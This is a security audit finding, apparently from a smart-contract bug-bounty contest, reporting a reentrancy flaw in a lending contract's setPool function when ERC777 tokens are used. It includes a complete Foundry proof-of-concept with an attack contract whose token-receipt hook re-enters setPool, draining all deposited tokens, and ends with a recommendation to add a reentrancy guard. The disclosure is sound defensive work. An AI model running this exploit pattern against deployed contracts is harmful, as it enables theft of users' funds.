20,000 USDC
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability in the setPool function

Summary

The setPool function of the Lender.sol contract is vulnerable to a reentrancy attack for ERC777 token, which allows to drain all deposited funds of this token.

Vulnerability Details

The problem is line 157 - 163 of the Lender.sol contract. If anybody creates a pool and then calls the setPool function, to set a smaller poolBalance, the difference between the old and new poolBalance is sent back to the owner of the pool and the new balance is set after it. The state is updated after the call and no security techniques like a ReentrancyGuard are provided, therefore this is vulnerable to a reentrancy attacks.

The following POC code shows how a attacker could execute the exploit, it can be implemented inside the current tests folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
import {ERC777, IERC1820Registry} from "openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {IERC777Recipient} from "openzeppelin-contracts/contracts/token/ERC777/IERC777Recipient.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract TestERC777 is ERC777, IERC777Recipient {
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
constructor () ERC777("TestERC777", "TERC777", new address[](0)) {
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public returns (bool) {
_mint(account, amount, userData, operatorData);
return true;
}
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external {}
receive() external payable {}
}
contract TestERC777Provider is IERC777Recipient {
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
TestERC777 public immutable TOKEN;
constructor (TestERC777 token) {
TOKEN = token;
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function mintTokens(address account, uint256 amount) external {
TOKEN.mint(address(this), amount, "", "");
TOKEN.transfer(account, amount);
}
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external {}
}
contract ReentrancyAttack is IERC777Recipient {
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
Lender immutable LENDER;
ERC777 immutable TOKEN;
address immutable COLLATERAL_TOKEN;
constructor(Lender lender, ERC777 token, address collateralToken) {
LENDER = lender;
TOKEN = token;
COLLATERAL_TOKEN = collateralToken;
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function attack() external {
uint256 amount1 = 500 * 10 ** 18;
uint256 amount2 = 400 * 10 ** 18;
TOKEN.approve(address(LENDER), amount1);
Pool memory p1 = Pool({
lender: address(this),
loanToken: address(TOKEN),
collateralToken: COLLATERAL_TOKEN,
minLoanSize: 100*10**18,
poolBalance: amount1,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
LENDER.setPool(p1);
TOKEN.approve(address(LENDER), amount2);
Pool memory p2 = Pool({
lender: address(this),
loanToken: address(TOKEN),
collateralToken: COLLATERAL_TOKEN,
minLoanSize: 100*10**18,
poolBalance: amount2,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
LENDER.setPool(p2);
}
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external {
if (TOKEN.balanceOf(address(LENDER)) >= 100 * 10 ** 18) {
Pool memory p = Pool({
lender: address(this),
loanToken: address(TOKEN),
collateralToken: COLLATERAL_TOKEN,
minLoanSize: 100*10**18,
poolBalance: 400 * 10 ** 18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
LENDER.setPool(p);
}
}
}
contract ReentrancyTest is Test {
Lender public lender;
TestERC777 public loanToken;
TestERC777Provider public tokenProvider;
TERC20 public collateralToken;
ReentrancyAttack public reentrancyAttack;
address public attacker = vm.addr(1);
function setUp() public {
// mock ERC1820Registry contract in foundry
vm.etch(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
)
);
lender = new Lender();
loanToken = new TestERC777();
tokenProvider = new TestERC777Provider(loanToken);
collateralToken = new TERC20();
reentrancyAttack = new ReentrancyAttack(lender, loanToken, address(collateralToken));
loanToken.mint(address(reentrancyAttack), 500 * 10 ** 18, "", "");
tokenProvider.mintTokens(address(lender), 1000 * 10 ** 18);
}
function test_reentrancy() public {
// protocol starts with 1000 tokens and attacker with 500 tokens
assertEq(loanToken.balanceOf(address(lender)), 1000 * 10 ** 18);
assertEq(loanToken.balanceOf(address(reentrancyAttack)), 500 * 10 ** 18);
vm.startPrank(attacker);
reentrancyAttack.attack();
vm.stopPrank();
// attacker stole all tokens via reentrancy
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(loanToken.balanceOf(address(reentrancyAttack)), 1500 * 10 ** 18);
}
}

Impact

If any user deposits ERC777 tokens either as loan, or collateral, there is a direct attack path to steal them all.

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Implement OpenZeppelins ReentrancyGuard, or a similar security technique on every function that could potentially be vulnerable to such attacks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.